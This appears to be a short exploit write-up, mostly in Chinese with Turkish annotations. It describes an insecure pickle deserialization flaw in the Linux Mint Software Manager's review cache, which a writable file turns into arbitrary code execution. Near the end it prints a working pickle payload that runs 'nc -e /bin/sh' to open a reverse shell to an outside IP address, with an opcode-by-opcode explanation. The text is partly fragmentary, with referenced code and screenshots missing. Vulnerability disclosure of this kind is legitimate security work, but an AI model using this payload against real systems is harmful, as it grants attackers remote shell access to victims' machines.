Linux mint 软件管理器(v 7.9.5/9)由于配置错误,导致我们能够执行对象注入和任意代码。
mintinsall
当我们运行 Mint 软件管理器时,它会检查是否有新的评论。如果有新的评论,它会从 new-reviews.list 下载并写入文件。

code mintinstall.py
软件管理器首次启动时,它会从 reviews 模块调用 ReviewCache() 类。

code reviews.py
当 ReviewCache 类启动时(init),它会调用 _load_cache() 函数。

Load cache 函数会读取 REVIEWS_CACHE 变量中的文件,并借助 pickle 模块将文件中的数据反序列化,然后在内存中保存一些值。

当我检查文件时,我似乎拥有写入权限。

由于我们可以借助 Pickle 模块执行序列化/反序列化操作,我们可以使用 reduce 方法包含模块并执行任意代码。

在这种情况下,如果尝试反序列化该文件,我们的恶意代码就会执行。
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.

